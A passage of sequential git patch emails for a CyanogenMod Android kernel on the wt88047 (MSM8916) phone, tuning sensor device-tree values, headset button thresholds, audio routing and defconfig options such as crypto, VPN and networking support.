30 Nov 2015 15:35:55 -0800 Subject: [PATCH 054/365] ARM: dts: wt88047: Increase range, tune for range Change-Id: Ib778568a5c3aa2359824c25b5e865e3bc7c124c6 --- arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 568a0784dc382..3e89653b7cc68 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -240,7 +240,8 @@ liteon,irq-gpio = <&msm_gpio 113 0x2>; liteon,als-ps-persist = <0>; liteon,ps-led = <0x7f>; - liteon,ps-pulses = <4>; + liteon,ps-pulses = <15>; + liteon,ps-distance-table = <1700 1200 900 500 320 200 150>; liteon,wakeup-threshold = <4>; liteon,als-integration-time = <0>; liteon,als-equation-0 = <1 1 7743 1059 600 1>; From 9aff3500a71624fb1a406dcee71e42007859eda8 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 6 Dec 2015 07:50:44 +0700 Subject: [PATCH 055/365] ASoC: msm: msm8x16: Adjust the detection thresholds for WT88047 Change-Id: I6f4198bbce802d14b91043b6395f90b04ada66e9 --- sound/soc/msm/msm8x16.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/sound/soc/msm/msm8x16.c b/sound/soc/msm/msm8x16.c index e191312e10b71..25afeb83fe064 100755 --- a/sound/soc/msm/msm8x16.c +++ b/sound/soc/msm/msm8x16.c @@ -1741,6 +1741,18 @@ static void *def_msm8x16_wcd_mbhc_cal(void) * 210-290 == Button 2 * 360-680 == Button 3 */ +#ifdef CONFIG_MACH_WT88047 + btn_low[0] = 75; + btn_high[0] = 75; + btn_low[1] = 130; + btn_high[1] = 130; + btn_low[2] = 260; + btn_high[2] = 260; + btn_low[3] = 450; + btn_high[3] = 450; + btn_low[4] = 500; + btn_high[4] = 500; +#else btn_low[0] = 75; btn_high[0] = 75; btn_low[1] = 150; @@ -1751,6 +1763,7 @@ static void *def_msm8x16_wcd_mbhc_cal(void) btn_high[3] = 450; btn_low[4] = 500; btn_high[4] = 500; +#endif return msm8x16_wcd_cal; } From 1ba1c74a0b4a3be37e7f1e7067892be13f57d22a Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 6 Dec 2015 21:53:07 +0700 Subject: [PATCH 056/365] input: ltr553: Change sensor config for WT88047 * Change range, resolution, and trigger mode from continuous to on-change Change-Id: I6f0b573a39e7654edd39e6da59d1038532a679ec --- drivers/input/misc/ltr553.c | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/drivers/input/misc/ltr553.c b/drivers/input/misc/ltr553.c index 68492d8829268..8e7765e734175 100644 --- a/drivers/input/misc/ltr553.c +++ b/drivers/input/misc/ltr553.c @@ -245,10 +245,16 @@ static struct sensors_classdev als_cdev = { .version = 1, .handle = SENSORS_LIGHT_HANDLE, .type = SENSOR_TYPE_LIGHT, +#ifdef CONFIG_MACH_WT88047 + .max_range = "60000", + .resolution = "0.0125", + .min_delay = 0, +#else .max_range = "65536", .resolution = "1.0", - .sensor_power = "0.25", .min_delay = 50000, +#endif + .sensor_power = "0.25", .max_delay = 2000, .fifo_reserved_event_count = 0, .fifo_max_event_count = 0, @@ -265,10 +271,16 @@ static struct sensors_classdev ps_cdev = { .version = 1, .handle = SENSORS_PROXIMITY_HANDLE, .type = SENSOR_TYPE_PROXIMITY, +#ifdef CONFIG_MACH_WT88047 + .max_range = "5", + .resolution = "5.0", + .min_delay = 0, +#else .max_range = "7", .resolution = "1.0", - .sensor_power = "0.25", .min_delay = 10000, +#endif + .sensor_power = "0.25", .max_delay = 2000, .fifo_reserved_event_count = 0, .fifo_max_event_count = 0, From e608c3c14433e72971b2a406635d80f1f0f31e3b Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 7 Dec 2015 23:03:06 +0700 Subject: [PATCH 057/365] wt88047: dts: Change LTR553 IRQ interrupt * Based on spirit Change-Id: I2a7cfc284d0a46fa459d1af443ce718d98e0e6e7 --- arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 3e89653b7cc68..b160bea2e788c 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -217,11 +217,11 @@ label = "ltr553-irq"; ltr553_default: ltr553_default { drive-strength = <6>; - bias-disable; + bias-pull-up; }; ltr553_sleep: ltr553_sleep { - drive-strength = <6>; - bias-disable; + drive-strength = <2>; + bias-pull-down; }; }; }; @@ -233,11 +233,11 @@ vdd-supply = <&pm8916_l17>; vio-supply = <&pm8916_l6>; interrupt-parent = <&msm_gpio>; - interrupts = <113 0x2>; + interrupts = <113 0x2002>; pinctrl-names = "default","sleep"; pinctrl-0 = <<r553_default>; pinctrl-1 = <<r553_sleep>; - liteon,irq-gpio = <&msm_gpio 113 0x2>; + liteon,irq-gpio = <&msm_gpio 113 0x2002>; liteon,als-ps-persist = <0>; liteon,ps-led = <0x7f>; liteon,ps-pulses = <15>; From 208d4653ed75c162c1c098c1022f4b0536360728 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Wed, 16 Dec 2015 08:17:56 +0700 Subject: [PATCH 058/365] wt88047: Update defconfig Change-Id: I56e7b8516050f177fd90663eb1a029952035b5f9 --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index 3abdac88775bd..483a351c465fa 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -1070,6 +1070,7 @@ CONFIG_RFKILL_LEDS=y # CONFIG_CEPH_LIB is not set # CONFIG_NFC is not set # CONFIG_NFC_QNCI is not set +# CONFIG_NFC_NQ is not set CONFIG_IPC_ROUTER=y CONFIG_IPC_ROUTER_SECURITY=y CONFIG_HAVE_BPF_JIT=y @@ -1098,6 +1099,8 @@ CONFIG_SOC_BUS=y CONFIG_REGMAP=y CONFIG_REGMAP_I2C=y CONFIG_REGMAP_SPI=y +CONFIG_REGMAP_SWR=y +CONFIG_REGMAP_ALLOW_WRITE_DEBUGFS=y CONFIG_DMA_SHARED_BUFFER=y CONFIG_CMA=y # CONFIG_CMA_DEBUG is not set @@ -1740,6 +1743,7 @@ CONFIG_I2C_MSM_V2=y CONFIG_SLIMBUS=y # CONFIG_SLIMBUS_MSM_CTRL is not set CONFIG_SLIMBUS_MSM_NGD=y +CONFIG_SOUNDWIRE=y CONFIG_SPI=y # CONFIG_SPI_DEBUG is not set CONFIG_SPI_MASTER=y @@ -2122,6 +2126,7 @@ CONFIG_MFD_CORE=y # CONFIG_WCD9320_CODEC is not set # CONFIG_WCD9306_CODEC is not set # CONFIG_WCD9330_CODEC is not set +CONFIG_WCD9335_CODEC=y CONFIG_REGULATOR=y # CONFIG_REGULATOR_DEBUG is not set # CONFIG_REGULATOR_DUMMY is not set @@ -2489,7 +2494,10 @@ CONFIG_SND_SOC_CPE=y CONFIG_SND_SOC_MSM8X16=y CONFIG_SND_SOC_I2C_AND_SPI=y # CONFIG_SND_SOC_ALL_CODECS is not set +CONFIG_SND_SOC_WSA881X=y CONFIG_SND_SOC_MSM8X16_WCD=y +CONFIG_AUDIO_EXT_CLK=y +CONFIG_SND_SOC_WCD_MBHC=y CONFIG_SND_SOC_MSM_STUB=y # CONFIG_SND_SIMPLE_CARD is not set # CONFIG_SOUND_PRIME is not set From cd0bf9240fdca82eb1c9fd8de92c43c81e5b277e Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Wed, 16 Dec 2015 14:33:39 +0700 Subject: [PATCH 059/365] ARM: dts: wt88047: Add backend to support split A2DP Add support to enable Bluetooth A2DP playback via DSP Change-Id: I81b974fb9fd87fb319135c9f04c3c91312ca29bb --- .../arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index b160bea2e788c..7c9716e58e237 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -92,7 +92,8 @@ <&dai_mi2s0>, <&dai_mi2s1>, <&dai_mi2s2>, <&dai_mi2s3>, <&sb_0_rx>, <&sb_0_tx>, <&sb_1_rx>, <&sb_1_tx>, <&sb_3_rx>, <&sb_3_tx>, <&sb_4_rx>, <&sb_4_tx>, - <&bt_sco_rx>, <&bt_sco_tx>, <&int_fm_rx>, <&int_fm_tx>, + <&bt_sco_rx>, <&bt_sco_tx>, <&bt_a2dp_rx>, + <&int_fm_rx>, <&int_fm_tx>, <&afe_pcm_rx>, <&afe_pcm_tx>, <&afe_proxy_rx>, <&afe_proxy_tx>, <&incall_record_rx>, <&incall_record_tx>, <&incall_music_rx>, <&incall_music_2_rx>; @@ -104,11 +105,12 @@ "msm-dai-q6-dev.16390", "msm-dai-q6-dev.16391", "msm-dai-q6-dev.16392", "msm-dai-q6-dev.16393", "msm-dai-q6-dev.12288", "msm-dai-q6-dev.12289", - "msm-dai-q6-dev.12292", "msm-dai-q6-dev.12293", - "msm-dai-q6-dev.224", "msm-dai-q6-dev.225", - "msm-dai-q6-dev.241", "msm-dai-q6-dev.240", - "msm-dai-q6-dev.32771", "msm-dai-q6-dev.32772", - "msm-dai-q6-dev.32773", "msm-dai-q6-dev.32770"; + "msm-dai-q6-dev.12290", "msm-dai-q6-dev.12292", + "msm-dai-q6-dev.12293", "msm-dai-q6-dev.224", + "msm-dai-q6-dev.225", "msm-dai-q6-dev.241", + "msm-dai-q6-dev.240", "msm-dai-q6-dev.32771", + "msm-dai-q6-dev.32772", "msm-dai-q6-dev.32773", + "msm-dai-q6-dev.32770"; asoc-codec = <&stub_codec>, <&pm8916_tombak_dig>; asoc-codec-names = "msm-stub-codec.1", "tombak_codec"; }; From cc99836780fae945c8e0e57a75ffba716b99de6f Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Wed, 16 Dec 2015 14:43:54 +0700 Subject: [PATCH 060/365] wt88047: Disable CONFIG_DEVMEM and CONFIG_DEVKMEM Change-Id: If88f4323bd58f29522e6366671a64afd5bd6dca0 --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index 483a351c465fa..2892a7e1421df 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -1648,8 +1648,8 @@ CONFIG_UNIX98_PTYS=y # CONFIG_SERIAL_NONSTANDARD is not set # CONFIG_N_GSM is not set # CONFIG_TRACE_SINK is not set -CONFIG_DEVMEM=y -CONFIG_DEVKMEM=y +# CONFIG_DEVMEM is not set +# CONFIG_DEVKMEM is not set # # Serial drivers From 7f18e7717d0a5dc67aaafdcc94312f6dfd9eb553 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 20 Dec 2015 10:07:18 +0700 Subject: [PATCH 061/365] ARM: dts: wt88047: Use MPU6050 interrupt mode * Use device interrupt to trigger data acquisition instead of polling data Change-Id: Ib3ada6be760e591b9cdab8c5b02fd52d5da8767b --- arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi | 1 + 1 file changed, 1 insertion(+) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 7c9716e58e237..10211a8a7d832 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -264,6 +264,7 @@ vlogic-supply = <&pm8916_l16>; vi2c-supply = <&pm8916_l6>; invn,gpio-int = <&msm_gpio 115 0x2>; + invn,use-interrupt; invn,place = "Portrait Up Back Side"; }; From 428b547b81a69cb82b8d8ab461c1b8931e169d2c Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 3 Jan 2016 00:21:09 +0700 Subject: [PATCH 062/365] Revert "ARM: dts: wt88047: Use MPU6050 interrupt mode" This reverts commit 7f18e7717d0a5dc67aaafdcc94312f6dfd9eb553. Change-Id: I20609f8afcf5ed64ce2ce9e56ca0cfe78467cc51 --- arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi | 1 - 1 file changed, 1 deletion(-) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 10211a8a7d832..7c9716e58e237 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -264,7 +264,6 @@ vlogic-supply = <&pm8916_l16>; vi2c-supply = <&pm8916_l6>; invn,gpio-int = <&msm_gpio 115 0x2>; - invn,use-interrupt; invn,place = "Portrait Up Back Side"; }; From 3825d6040de61c84c57261e6456da20151797f5b Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sat, 9 Jan 2016 09:48:29 +0700 Subject: [PATCH 063/365] wt88047: Enable crypto NEON related config Change-Id: I1610bdac7c0998418ab7a5e5e0dab96705d2cf07 --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index 2892a7e1421df..78eccd2c047cf 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -581,6 +581,7 @@ CONFIG_CPU_IDLE_GOV_MENU=y CONFIG_VFP=y CONFIG_VFPv3=y CONFIG_NEON=y +CONFIG_KERNEL_MODE_NEON=y # # Userspace binary formats @@ -3693,9 +3694,11 @@ CONFIG_CRYPTO_MD5=y # CONFIG_CRYPTO_RMD256 is not set # CONFIG_CRYPTO_RMD320 is not set CONFIG_CRYPTO_SHA1=y -# CONFIG_CRYPTO_SHA1_ARM is not set +CONFIG_CRYPTO_SHA1_ARM=y +CONFIG_CRYPTO_SHA1_ARM_NEON=y CONFIG_CRYPTO_SHA256=y -# CONFIG_CRYPTO_SHA512 is not set +CONFIG_CRYPTO_SHA512=y +CONFIG_CRYPTO_SHA512_ARM_NEON=y # CONFIG_CRYPTO_TGR192 is not set # CONFIG_CRYPTO_WP512 is not set @@ -3703,7 +3706,8 @@ CONFIG_CRYPTO_SHA256=y # Ciphers # CONFIG_CRYPTO_AES=y -# CONFIG_CRYPTO_AES_ARM is not set +CONFIG_CRYPTO_AES_ARM=y +CONFIG_CRYPTO_AES_ARM_BS=y # CONFIG_CRYPTO_ANUBIS is not set CONFIG_CRYPTO_ARC4=y # CONFIG_CRYPTO_BLOWFISH is not set From 76520b7c80558c67d183b3032ded00becde33b61 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sat, 9 Jan 2016 10:50:01 +0700 Subject: [PATCH 064/365] wt88047: Follow default MSM8916 related to crypto config Change-Id: I5145d23e66567c9766698fb3ed83241d2e26b7e6 --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index 78eccd2c047cf..63b03e6110872 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -3653,19 +3653,20 @@ CONFIG_CRYPTO_NULL=y CONFIG_CRYPTO_WORKQUEUE=y CONFIG_CRYPTO_CRYPTD=y CONFIG_CRYPTO_AUTHENC=y +CONFIG_CRYPTO_ABLK_HELPER=y # # Authenticated Encryption with Associated Data # # CONFIG_CRYPTO_CCM is not set # CONFIG_CRYPTO_GCM is not set -# CONFIG_CRYPTO_SEQIV is not set +CONFIG_CRYPTO_SEQIV=y # # Block modes # CONFIG_CRYPTO_CBC=y -# CONFIG_CRYPTO_CTR is not set +CONFIG_CRYPTO_CTR=y # CONFIG_CRYPTO_CTS is not set CONFIG_CRYPTO_ECB=y # CONFIG_CRYPTO_LRW is not set @@ -3744,7 +3745,10 @@ CONFIG_CRYPTO_DEV_QCRYPTO=y CONFIG_CRYPTO_DEV_QCE=y CONFIG_CRYPTO_DEV_QCEDEV=y # CONFIG_CRYPTO_DEV_OTA_CRYPTO is not set -# CONFIG_ASYMMETRIC_KEY_TYPE is not set +CONFIG_ASYMMETRIC_KEY_TYPE=y +CONFIG_ASYMMETRIC_PUBLIC_KEY_SUBTYPE=y +CONFIG_PUBLIC_KEY_ALGO_RSA=y +CONFIG_X509_CERTIFICATE_PARSER=y CONFIG_BINARY_PRINTF=y # @@ -3796,9 +3800,12 @@ CONFIG_DQL=y CONFIG_NLATTR=y CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y # CONFIG_AVERAGE is not set +CONFIG_CLZ_TAB=y # CONFIG_CORDIC is not set # CONFIG_DDR is not set +CONFIG_MPILIB=y CONFIG_LIBFDT=y +CONFIG_OID_REGISTRY=y CONFIG_QMI_ENCDEC=y # CONFIG_QMI_ENCDEC_DEBUG is not set # CONFIG_VIRTUALIZATION is not set From 9146306e37a2b880471d5a6293add7310ebbfb8e Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sat, 9 Jan 2016 10:59:25 +0700 Subject: [PATCH 065/365] wt88047: Follow default MSM8916 related to networking config Change-Id: I4d134676866167fc3f60297a88949b9c5639a468 --- .../arm/configs/cyanogenmod_wt88047_defconfig | 24 +++++++++++-------- 1 file changed, 14 insertions(+), 10 deletions(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index 63b03e6110872..95bcd90bd2e40 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -633,8 +633,7 @@ CONFIG_XFRM_USER=y # CONFIG_XFRM_MIGRATE is not set # CONFIG_XFRM_STATISTICS is not set CONFIG_XFRM_IPCOMP=y -CONFIG_NET_KEY=y -# CONFIG_NET_KEY_MIGRATE is not set +# CONFIG_NET_KEY is not set CONFIG_INET=y # CONFIG_IP_MULTICAST is not set CONFIG_IP_ADVANCED_ROUTER=y @@ -729,7 +728,7 @@ CONFIG_NF_CONNTRACK_NETBIOS_NS=y # CONFIG_NF_CONNTRACK_SNMP is not set CONFIG_NF_CONNTRACK_PPTP=y CONFIG_NF_CONNTRACK_SANE=y -# CONFIG_NF_CONNTRACK_SIP is not set +CONFIG_NF_CONNTRACK_SIP=y CONFIG_NF_CONNTRACK_TFTP=y CONFIG_NF_CT_NETLINK=y # CONFIG_NF_CT_NETLINK_TIMEOUT is not set @@ -742,7 +741,7 @@ CONFIG_NF_NAT_PROTO_SCTP=y CONFIG_NF_NAT_AMANDA=y CONFIG_NF_NAT_FTP=y CONFIG_NF_NAT_IRC=y -# CONFIG_NF_NAT_SIP is not set +CONFIG_NF_NAT_SIP=y CONFIG_NF_NAT_TFTP=y CONFIG_NETFILTER_TPROXY=y CONFIG_NETFILTER_XTABLES=y @@ -776,11 +775,11 @@ CONFIG_NETFILTER_XT_TARGET_NFQUEUE=y CONFIG_NETFILTER_XT_TARGET_NOTRACK=y # CONFIG_NETFILTER_XT_TARGET_RATEEST is not set CONFIG_NETFILTER_XT_TARGET_REDIRECT=y -# CONFIG_NETFILTER_XT_TARGET_TEE is not set +CONFIG_NETFILTER_XT_TARGET_TEE=y CONFIG_NETFILTER_XT_TARGET_TPROXY=y CONFIG_NETFILTER_XT_TARGET_TRACE=y CONFIG_NETFILTER_XT_TARGET_SECMARK=y -CONFIG_NETFILTER_XT_TARGET_TCPMSS=y +# CONFIG_NETFILTER_XT_TARGET_TCPMSS is not set # CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP is not set # @@ -847,7 +846,7 @@ CONFIG_IP_NF_MATCH_ECN=y CONFIG_IP_NF_MATCH_TTL=y CONFIG_IP_NF_FILTER=y CONFIG_IP_NF_TARGET_REJECT=y -CONFIG_IP_NF_TARGET_REJECT_SKERR=y +# CONFIG_IP_NF_TARGET_REJECT_SKERR is not set # CONFIG_IP_NF_TARGET_ULOG is not set CONFIG_NF_NAT_IPV4=y CONFIG_IP_NF_TARGET_MASQUERADE=y @@ -885,7 +884,7 @@ CONFIG_IP6_NF_IPTABLES=y # CONFIG_IP6_NF_TARGET_HL is not set CONFIG_IP6_NF_FILTER=y CONFIG_IP6_NF_TARGET_REJECT=y -CONFIG_IP6_NF_TARGET_REJECT_SKERR=y +# CONFIG_IP6_NF_TARGET_REJECT_SKERR is not set CONFIG_IP6_NF_MANGLE=y CONFIG_IP6_NF_RAW=y # CONFIG_IP6_NF_SECURITY is not set @@ -917,7 +916,11 @@ CONFIG_BRIDGE_EBT_BROUTE=y # CONFIG_RDS is not set # CONFIG_TIPC is not set # CONFIG_ATM is not set -# CONFIG_L2TP is not set +CONFIG_L2TP=y +CONFIG_L2TP_DEBUGFS=y +CONFIG_L2TP_V3=y +CONFIG_L2TP_IP=y +CONFIG_L2TP_ETH=y CONFIG_STP=y CONFIG_BRIDGE=y CONFIG_BRIDGE_IGMP_SNOOPING=y @@ -1008,7 +1011,7 @@ CONFIG_RFS_ACCEL=y CONFIG_XPS=y # CONFIG_NETPRIO_CGROUP is not set CONFIG_BQL=y -# CONFIG_SOCKEV_NLMCAST is not set +CONFIG_SOCKEV_NLMCAST=y # # Network testing @@ -1368,6 +1371,7 @@ CONFIG_PPP_FILTER=y CONFIG_PPP_MPPE=y CONFIG_PPP_MULTILINK=y CONFIG_PPPOE=y +CONFIG_PPPOL2TP=y CONFIG_PPPOLAC=y CONFIG_PPPOPNS=y CONFIG_PPP_ASYNC=y From 0fffedadc80d57d67a0af84b9493ad00ce986b12 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sat, 9 Jan 2016 11:04:49 +0700 Subject: [PATCH 066/365] wt88047: Restore default framebuffer config * Previously known as the source of video flicker issue Change-Id: Ibc96da0182c58e35daa8422e5accf86428645c50 --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index 95bcd90bd2e40..014f23d192cb3 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -2351,11 +2351,11 @@ CONFIG_FB_CFB_FILLRECT=y CONFIG_FB_CFB_COPYAREA=y CONFIG_FB_CFB_IMAGEBLIT=y # CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set -# CONFIG_FB_SYS_FILLRECT is not set -# CONFIG_FB_SYS_COPYAREA is not set -# CONFIG_FB_SYS_IMAGEBLIT is not set +CONFIG_FB_SYS_FILLRECT=y +CONFIG_FB_SYS_COPYAREA=y +CONFIG_FB_SYS_IMAGEBLIT=y # CONFIG_FB_FOREIGN_ENDIAN is not set -# CONFIG_FB_SYS_FOPS is not set +CONFIG_FB_SYS_FOPS=y # CONFIG_FB_SVGALIB is not set # CONFIG_FB_MACMODES is not set # CONFIG_FB_MODE_HELPERS is not set @@ -2369,7 +2369,7 @@ CONFIG_FB_CFB_IMAGEBLIT=y # CONFIG_FB_SMSCUFX is not set # CONFIG_FB_UDL is not set # CONFIG_FB_GOLDFISH is not set -# CONFIG_FB_VIRTUAL is not set +CONFIG_FB_VIRTUAL=y # CONFIG_FB_METRONOME is not set # CONFIG_FB_BROADSHEET is not set # CONFIG_FB_AUO_K190X is not set From 917f8e16e9a1640a3283890438557b2718618487 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 10 Jan 2016 09:31:27 +0700 Subject: [PATCH 067/365] ARM: dts: wt88047: Back to standard audio device name Change-Id: Ia346ad5df9dfb4b07a949cc20ea47703be260288 --- arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 7c9716e58e237..6f7497c6d107d 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -60,7 +60,7 @@ sound { compatible = "qcom,msm8x16-audio-codec"; - qcom,model = "msm8x16-wt88047-snd-card"; + qcom,model = "msm8x16-skui-snd-card"; qcom,msm-snd-card-id = <0>; qcom,msm-ext-pa = "primary"; qcom,msm-codec-type = "internal"; From b4a8c01feede7608b4dd6a3ee008449102c37d26 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 10 Jan 2016 22:33:47 +0700 Subject: [PATCH 068/365] wt88047: Unbreak VPN support Change-Id: I9d5ea546bc55b45b443ed60091b2520da628e35b --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index 014f23d192cb3..651ceb2adb0d5 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -633,7 +633,8 @@ CONFIG_XFRM_USER=y # CONFIG_XFRM_MIGRATE is not set # CONFIG_XFRM_STATISTICS is not set CONFIG_XFRM_IPCOMP=y -# CONFIG_NET_KEY is not set +CONFIG_NET_KEY=y +# CONFIG_NET_KEY_MIGRATE is not set CONFIG_INET=y # CONFIG_IP_MULTICAST is not set CONFIG_IP_ADVANCED_ROUTER=y From a7fe8c908aa16a53297f01648d1f9cd8cd09a0a5 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 17 Jan 2016 18:00:26 +0700 Subject: [PATCH 069/365] wt88047: ASoC: Update audio routing Change-Id: I774f59f18b11a9651b43e1ff084b1d0a32646cfe --- sound/soc/codecs/msm8x16-wcd.c | 62 ++++++++++++++++++++++++++++++++-- sound/soc/codecs/wcd-mbhc-v2.c | 6 ++++ sound/soc/codecs/wcd-mbhc-v2.h | 4 +++ sound/soc/msm/msm8x16.c | 21 ++++++------ 4 files changed, 81 insertions(+), 12 deletions(-) diff --git a/sound/soc/codecs/msm8x16-wcd.c b/sound/soc/codecs/msm8x16-wcd.c index 590825bfa7b9d..f834d3b5d6fa2 100644 --- a/sound/soc/codecs/msm8x16-wcd.c +++ b/sound/soc/codecs/msm8x16-wcd.c @@ -40,6 +40,7 @@ #include #include #include +#include #include "msm8x16-wcd.h" #include "wcd-mbhc-v2.h" #include "msm8916-wcd-irq.h" @@ -132,6 +133,12 @@ static const DECLARE_TLV_DB_SCALE(digital_gain, 0, 1, 0); static const DECLARE_TLV_DB_SCALE(analog_gain, 0, 25, 1); static struct snd_soc_dai_driver msm8x16_wcd_i2s_dai[]; +#ifdef CONFIG_MACH_WT88047 +static struct switch_dev accdet_data; +static int accdet_state = 0; +static struct delayed_work analog_switch_enable; +#endif + #define MSM8X16_WCD_ACQUIRE_LOCK(x) \ mutex_lock_nested(&x, SINGLE_DEPTH_NESTING); @@ -4006,11 +4013,27 @@ static int msm8x16_wcd_hphr_dac_event(struct snd_soc_dapm_widget *w, return 0; } +#ifdef CONFIG_MACH_WT88047 +static void msm8x16_analog_switch_delayed_enable(struct work_struct *work) +{ + int state = 0; + + state = gpio_get_value(EXT_SPK_AMP_GPIO); + pr_debug("%s: enable analog switch, external PA state: %d\n", __func__, state); + + if(!state) + gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, true); +} +#endif + static int msm8x16_wcd_hph_pa_event(struct snd_soc_dapm_widget *w, struct snd_kcontrol *kcontrol, int event) { struct snd_soc_codec *codec = w->codec; struct msm8x16_wcd_priv *msm8x16_wcd = snd_soc_codec_get_drvdata(codec); +#ifdef CONFIG_MACH_WT88047 + int state = 0; +#endif dev_dbg(codec->dev, "%s: %s event = %d\n", __func__, w->name, event); @@ -4027,6 +4050,9 @@ static int msm8x16_wcd_hph_pa_event(struct snd_soc_dapm_widget *w, break; case SND_SOC_DAPM_POST_PMU: +#ifdef CONFIG_MACH_WT88047 + state = msm8x16_wcd_codec_get_headset_state(); +#endif usleep_range(7000, 7100); if (w->shift == 5) { snd_soc_update_bits(codec, @@ -4040,8 